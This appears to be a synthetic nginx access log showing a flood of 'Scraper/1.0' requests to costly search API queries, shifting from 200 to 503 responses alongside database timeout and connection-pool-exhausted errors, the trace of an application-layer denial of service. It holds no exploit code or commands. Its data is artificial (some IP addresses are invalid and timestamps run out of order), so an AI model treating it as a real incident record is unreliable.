112.109.14.137 - - [15/Aug/2025:14:33:08 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 500 "-" "Scraper/1.0" +Aug 15 14:33:13 web-app-nginx 237.74.170.140 - - [15/Aug/2025:14:33:13 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 114 "-" "Scraper/1.0" +Aug 15 14:33:12 web-app-nginx 200.225.19.130 - - [15/Aug/2025:14:33:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 174 "-" "Scraper/1.0" +Aug 15 14:33:10 web-app-nginx 209.169.120.76 - - [15/Aug/2025:14:33:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 201 "-" "Scraper/1.0" +Aug 15 14:33:10 web-app-nginx 16.215.135.241 - - [15/Aug/2025:14:33:10 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 388 "-" "Scraper/1.0" +Aug 15 14:33:10 web-app-nginx 121.22.134.247 - - [15/Aug/2025:14:33:10 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 304 "-" "Scraper/1.0" +Aug 15 14:33:12 web-app-nginx 11.115.86.238 - - [15/Aug/2025:14:33:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 448 "-" "Scraper/1.0" +Aug 15 14:33:10 web-app-nginx 225.112.227.133 - - [15/Aug/2025:14:33:10 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 194 "-" "Scraper/1.0" +Aug 15 14:33:12 web-app-nginx 15.68.197.40 - - [15/Aug/2025:14:33:12 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 200 408 "-" "Scraper/1.0" +Aug 15 14:33:12 web-app-nginx 45.205.200.202 - - [15/Aug/2025:14:33:12 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 200 446 "-" "Scraper/1.0" +Aug 15 14:33:11 web-app-nginx 219.14.58.197 - - [15/Aug/2025:14:33:11 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 196 "-" "Scraper/1.0" +Aug 15 14:33:11 web-app-nginx 49.170.51.159 - - [15/Aug/2025:14:33:11 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 200 403 "-" "Scraper/1.0" +Aug 15 14:33:13 web-app-nginx 26.172.234.201 - - [15/Aug/2025:14:33:13 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 200 191 "-" "Scraper/1.0" +Aug 15 14:33:19 web-app-nginx 113.137.39.9 - - [15/Aug/2025:14:33:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 156 "-" "Scraper/1.0" +Aug 15 14:33:15 web-app-nginx 150.211.10.61 - - [15/Aug/2025:14:33:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 180 "-" "Scraper/1.0" +Aug 15 14:33:16 web-app-nginx 34.17.93.37 - - [15/Aug/2025:14:33:16 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 325 "-" "Scraper/1.0" +Aug 15 14:33:18 web-app-nginx 19.212.154.7 - - [15/Aug/2025:14:33:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 235 "-" "Scraper/1.0" +Aug 15 14:33:16 web-app-nginx 70.83.169.190 - - [15/Aug/2025:14:33:16 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 211 "-" "Scraper/1.0" +Aug 15 14:33:17 web-app-nginx 17.129.145.159 - - [15/Aug/2025:14:33:17 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 336 "-" "Scraper/1.0" +Aug 15 14:33:16 web-app-nginx 52.228.18.23 - - [15/Aug/2025:14:33:16 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 100 "-" "Scraper/1.0" +Aug 15 14:33:18 web-app-nginx 169.183.133.245 - - [15/Aug/2025:14:33:18 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 408 "-" "Scraper/1.0" +Aug 15 14:33:19 web-app-nginx 57.179.243.176 - - [15/Aug/2025:14:33:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 451 "-" "Scraper/1.0" +Aug 15 14:33:17 web-app-nginx 3.82.95.142 - - [15/Aug/2025:14:33:17 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 363 "-" "Scraper/1.0" +Aug 15 14:33:15 web-app-nginx 51.19.247.89 - - [15/Aug/2025:14:33:15 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 367 "-" "Scraper/1.0" +Aug 15 14:33:16 web-app-nginx 131.9.49.237 - - [15/Aug/2025:14:33:16 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 276 "-" "Scraper/1.0" +Aug 15 14:33:17 web-app-nginx 194.52.124.189 - - [15/Aug/2025:14:33:17 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 107 "-" "Scraper/1.0" +Aug 15 14:33:17 web-app-nginx 36.66.234.202 - - [15/Aug/2025:14:33:17 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 365 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 129.122.95.237 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 485 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 80.155.175.169 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 372 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 252.229.150.187 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 305 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 40.118.151.238 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 435 "-" "Scraper/1.0" +Aug 15 14:33:22 web-app-nginx 89.32.100.171 - - [15/Aug/2025:14:33:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 390 "-" "Scraper/1.0" +Aug 15 14:33:21 web-app-nginx 158.121.10.133 - - [15/Aug/2025:14:33:21 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 493 "-" "Scraper/1.0" +Aug 15 14:33:20 web-app-nginx 123.115.121.248 - - [15/Aug/2025:14:33:20 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 107 "-" "Scraper/1.0" +Aug 15 14:33:21 web-app-nginx 241.83.203.230 - - [15/Aug/2025:14:33:21 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 225 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 240.253.133.109 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 469 "-" "Scraper/1.0" +Aug 15 14:33:22 web-app-nginx 133.26.7.128 - - [15/Aug/2025:14:33:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 329 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 7.96.244.173 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 227 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 216.43.228.75 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 154 "-" "Scraper/1.0" +Aug 15 14:33:24 web-app-nginx 71.131.12.133 - - [15/Aug/2025:14:33:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 434 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 243.137.208.195 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 123 "-" "Scraper/1.0" +Aug 15 14:33:23 web-app-nginx 56.68.181.161 - - [15/Aug/2025:14:33:23 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 248 "-" "Scraper/1.0" +Aug 15 14:33:27 web-app-nginx 84.122.3.107 - - [15/Aug/2025:14:33:27 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 254 "-" "Scraper/1.0" +Aug 15 14:33:26 web-app-nginx 139.121.146.81 - - [15/Aug/2025:14:33:26 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 328 "-" "Scraper/1.0" +Aug 15 14:33:27 web-app-nginx 191.82.213.250 - - [15/Aug/2025:14:33:27 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 275 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app-nginx 216.91.9.7 - - [15/Aug/2025:14:33:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 280 "-" "Scraper/1.0" +Aug 15 14:33:26 web-app-nginx 74.194.246.213 - - [15/Aug/2025:14:33:26 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 460 "-" "Scraper/1.0" +Aug 15 14:33:26 web-app-nginx 13.75.104.248 - - [15/Aug/2025:14:33:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 339 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app-nginx 92.60.107.214 - - [15/Aug/2025:14:33:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 282 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app-nginx 228.248.59.8 - - [15/Aug/2025:14:33:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 243 "-" "Scraper/1.0" +Aug 15 14:33:25 web-app-nginx 147.145.246.117 - - [15/Aug/2025:14:33:25 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 441 "-" "Scraper/1.0" +Aug 15 14:33:25 web-app-nginx 225.223.200.191 - - [15/Aug/2025:14:33:25 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 111 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app-nginx 2.213.106.16 - - [15/Aug/2025:14:33:28 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 344 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:33:31 web-app-nginx 150.160.99.44 - - [15/Aug/2025:14:33:31 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 236 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 242.20.111.145 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 111 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 93.12.120.130 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 340 "-" "Scraper/1.0" +Aug 15 14:33:31 web-app-nginx 184.49.120.90 - - [15/Aug/2025:14:33:31 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 328 "-" "Scraper/1.0" +Aug 15 14:33:31 web-app-nginx 119.45.51.98 - - [15/Aug/2025:14:33:31 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 372 "-" "Scraper/1.0" +Aug 15 14:33:33 web-app-nginx 215.13.181.87 - - [15/Aug/2025:14:33:33 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 468 "-" "Scraper/1.0" +Aug 15 14:33:33 web-app-nginx 144.233.94.184 - - [15/Aug/2025:14:33:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 436 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 196.67.220.153 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 447 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 12.36.158.184 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 363 "-" "Scraper/1.0" +Aug 15 14:33:34 web-app-nginx 137.46.117.160 - - [15/Aug/2025:14:33:34 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 244 "-" "Scraper/1.0" +Aug 15 14:33:33 web-app-nginx 27.228.234.226 - - [15/Aug/2025:14:33:33 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 284 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 209.99.140.19 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 313 "-" "Scraper/1.0" +Aug 15 14:33:33 web-app-nginx 169.115.210.28 - - [15/Aug/2025:14:33:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 360 "-" "Scraper/1.0" +Aug 15 14:33:36 web-app-nginx 153.4.165.160 - - [15/Aug/2025:14:33:36 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 108 "-" "Scraper/1.0" +Aug 15 14:33:38 web-app-nginx 221.217.111.97 - - [15/Aug/2025:14:33:38 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 338 "-" "Scraper/1.0" +Aug 15 14:33:38 web-app-nginx 93.167.64.152 - - [15/Aug/2025:14:33:38 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 370 "-" "Scraper/1.0" +Aug 15 14:33:36 web-app-nginx 158.230.88.29 - - [15/Aug/2025:14:33:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 225 "-" "Scraper/1.0" +Aug 15 14:33:37 web-app-nginx 145.52.50.225 - - [15/Aug/2025:14:33:37 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 442 "-" "Scraper/1.0" +Aug 15 14:33:37 web-app-nginx 22.174.245.127 - - [15/Aug/2025:14:33:37 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 163 "-" "Scraper/1.0" +Aug 15 14:33:37 web-app-nginx 54.98.156.206 - - [15/Aug/2025:14:33:37 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 274 "-" "Scraper/1.0" +Aug 15 14:33:35 web-app-nginx 63.136.47.156 - - [15/Aug/2025:14:33:35 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 464 "-" "Scraper/1.0" +Aug 15 14:33:36 web-app-nginx 145.54.85.129 - - [15/Aug/2025:14:33:36 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 446 "-" "Scraper/1.0" +Aug 15 14:33:39 web-app-nginx 250.71.151.83 - - [15/Aug/2025:14:33:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 428 "-" "Scraper/1.0" +Aug 15 14:33:43 web-app-nginx 131.231.56.231 - - [15/Aug/2025:14:33:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 448 "-" "Scraper/1.0" +Aug 15 14:33:44 web-app-nginx 8.63.22.42 - - [15/Aug/2025:14:33:44 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 162 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 88.160.61.167 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 283 "-" "Scraper/1.0" +Aug 15 14:33:44 web-app-nginx 189.134.169.200 - - [15/Aug/2025:14:33:44 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 468 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 218.47.236.13 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 115 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 119.71.68.40 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 259 "-" "Scraper/1.0" +Aug 15 14:33:43 web-app-nginx 92.144.191.47 - - [15/Aug/2025:14:33:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 241 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 5.203.176.160 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 209 "-" "Scraper/1.0" +Aug 15 14:33:44 web-app-nginx 79.15.95.192 - - [15/Aug/2025:14:33:44 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 105 "-" "Scraper/1.0" +Aug 15 14:33:40 web-app-nginx 98.123.254.100 - - [15/Aug/2025:14:33:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 397 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 215.2.229.103 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 330 "-" "Scraper/1.0" +Aug 15 14:33:43 web-app-nginx 93.210.56.133 - - [15/Aug/2025:14:33:43 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 473 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 121.95.120.215 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 412 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 163.18.45.240 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 125 "-" "Scraper/1.0" +Aug 15 14:33:44 web-app[3456]: CRITICAL: Connection pool exhausted +Aug 15 14:33:45 web-app-nginx 158.247.30.190 - - [15/Aug/2025:14:33:45 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 202 "-" "Scraper/1.0" +Aug 15 14:33:45 web-app-nginx 185.52.83.60 - - [15/Aug/2025:14:33:45 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 402 "-" "Scraper/1.0" +Aug 15 14:33:46 web-app-nginx 64.130.5.117 - - [15/Aug/2025:14:33:46 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 233 "-" "Scraper/1.0" +Aug 15 14:33:47 web-app-nginx 206.84.64.252 - - [15/Aug/2025:14:33:47 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 477 "-" "Scraper/1.0" +Aug 15 14:33:47 web-app-nginx 104.131.127.76 - - [15/Aug/2025:14:33:47 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 189 "-" "Scraper/1.0" +Aug 15 14:33:45 web-app-nginx 221.200.240.150 - - [15/Aug/2025:14:33:45 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 349 "-" "Scraper/1.0" +Aug 15 14:33:48 web-app-nginx 186.96.16.94 - - [15/Aug/2025:14:33:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 170 "-" "Scraper/1.0" +Aug 15 14:33:46 web-app-nginx 133.99.23.220 - - [15/Aug/2025:14:33:46 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 236 "-" "Scraper/1.0" +Aug 15 14:33:47 web-app-nginx 235.109.241.20 - - [15/Aug/2025:14:33:47 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 118 "-" "Scraper/1.0" +Aug 15 14:33:49 web-app-nginx 232.156.32.110 - - [15/Aug/2025:14:33:49 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 466 "-" "Scraper/1.0" +Aug 15 14:33:54 web-app-nginx 70.31.140.174 - - [15/Aug/2025:14:33:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 405 "-" "Scraper/1.0" +Aug 15 14:33:50 web-app-nginx 40.172.167.111 - - [15/Aug/2025:14:33:50 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 142 "-" "Scraper/1.0" +Aug 15 14:33:54 web-app-nginx 118.196.132.81 - - [15/Aug/2025:14:33:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 210 "-" "Scraper/1.0" +Aug 15 14:33:51 web-app-nginx 140.77.239.236 - - [15/Aug/2025:14:33:51 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 129 "-" "Scraper/1.0" +Aug 15 14:33:53 web-app-nginx 168.233.48.96 - - [15/Aug/2025:14:33:53 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 171 "-" "Scraper/1.0" +Aug 15 14:33:50 web-app-nginx 153.101.145.79 - - [15/Aug/2025:14:33:50 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 141 "-" "Scraper/1.0" +Aug 15 14:33:54 web-app-nginx 222.198.230.152 - - [15/Aug/2025:14:33:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 218 "-" "Scraper/1.0" +Aug 15 14:33:53 web-app-nginx 238.70.109.188 - - [15/Aug/2025:14:33:53 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 420 "-" "Scraper/1.0" +Aug 15 14:33:50 web-app-nginx 214.179.131.173 - - [15/Aug/2025:14:33:50 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 255 "-" "Scraper/1.0" +Aug 15 14:33:54 web-app-nginx 28.210.32.44 - - [15/Aug/2025:14:33:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 290 "-" "Scraper/1.0" +Aug 15 14:33:52 web-app-nginx 153.169.133.183 - - [15/Aug/2025:14:33:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 395 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 100.68.63.160 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 405 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 26.62.64.222 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 285 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 70.1.194.24 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 180 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 220.84.66.126 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 230 "-" "Scraper/1.0" +Aug 15 14:33:57 web-app-nginx 16.108.177.43 - - [15/Aug/2025:14:33:57 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 345 "-" "Scraper/1.0" +Aug 15 14:33:56 web-app-nginx 160.204.154.114 - - [15/Aug/2025:14:33:56 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 394 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 9.227.40.78 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 450 "-" "Scraper/1.0" +Aug 15 14:33:59 web-app-nginx 125.163.149.70 - - [15/Aug/2025:14:33:59 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 247 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 26.78.115.43 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 132 "-" "Scraper/1.0" +Aug 15 14:33:58 web-app-nginx 215.115.74.142 - - [15/Aug/2025:14:33:58 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 189 "-" "Scraper/1.0" +Aug 15 14:33:59 web-app[3456]: CRITICAL: Connection pool exhausted +Aug 15 14:34:00 web-app-nginx 85.38.197.35 - - [15/Aug/2025:14:34:00 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 101 "-" "Scraper/1.0" +Aug 15 14:34:01 web-app-nginx 46.69.56.68 - - [15/Aug/2025:14:34:01 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 472 "-" "Scraper/1.0" +Aug 15 14:34:04 web-app-nginx 71.35.39.30 - - [15/Aug/2025:14:34:04 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 495 "-" "Scraper/1.0" +Aug 15 14:34:00 web-app-nginx 72.73.70.9 - - [15/Aug/2025:14:34:00 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 305 "-" "Scraper/1.0" +Aug 15 14:34:00 web-app-nginx 135.35.114.135 - - [15/Aug/2025:14:34:00 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 368 "-" "Scraper/1.0" +Aug 15 14:34:00 web-app-nginx 237.254.78.74 - - [15/Aug/2025:14:34:00 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 279 "-" "Scraper/1.0" +Aug 15 14:34:03 web-app-nginx 33.54.126.207 - - [15/Aug/2025:14:34:03 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 158 "-" "Scraper/1.0" +Aug 15 14:34:02 web-app-nginx 53.226.243.15 - - [15/Aug/2025:14:34:02 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 279 "-" "Scraper/1.0" +Aug 15 14:34:07 web-app-nginx 97.7.106.47 - - [15/Aug/2025:14:34:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 402 "-" "Scraper/1.0" +Aug 15 14:34:07 web-app-nginx 209.185.34.158 - - [15/Aug/2025:14:34:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 103 "-" "Scraper/1.0" +Aug 15 14:34:05 web-app-nginx 96.83.251.214 - - [15/Aug/2025:14:34:05 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 115 "-" "Scraper/1.0" +Aug 15 14:34:05 web-app-nginx 240.124.102.254 - - [15/Aug/2025:14:34:05 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 445 "-" "Scraper/1.0" +Aug 15 14:34:09 web-app-nginx 237.133.20.42 - - [15/Aug/2025:14:34:09 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 206 "-" "Scraper/1.0" +Aug 15 14:34:07 web-app-nginx 95.199.134.122 - - [15/Aug/2025:14:34:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 123 "-" "Scraper/1.0" +Aug 15 14:34:05 web-app-nginx 241.228.194.175 - - [15/Aug/2025:14:34:05 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 495 "-" "Scraper/1.0" +Aug 15 14:34:07 web-app-nginx 27.215.128.81 - - [15/Aug/2025:14:34:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 169 "-" "Scraper/1.0" +Aug 15 14:34:08 web-app-nginx 28.243.153.28 - - [15/Aug/2025:14:34:08 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 226 "-" "Scraper/1.0" +Aug 15 14:34:10 web-app-nginx 22.145.160.75 - - [15/Aug/2025:14:34:10 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 149 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 13.134.24.56 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 367 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 26.215.218.18 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 325 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 102.67.83.209 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 447 "-" "Scraper/1.0" +Aug 15 14:34:12 web-app-nginx 254.17.4.166 - - [15/Aug/2025:14:34:12 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 105 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 212.154.201.64 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 147 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 93.9.242.136 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 256 "-" "Scraper/1.0" +Aug 15 14:34:13 web-app-nginx 41.24.196.184 - - [15/Aug/2025:14:34:13 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 448 "-" "Scraper/1.0" +Aug 15 14:34:13 web-app-nginx 27.42.42.144 - - [15/Aug/2025:14:34:13 +0000] "GET /api/v1/search?query=full_text_scan&filter=all 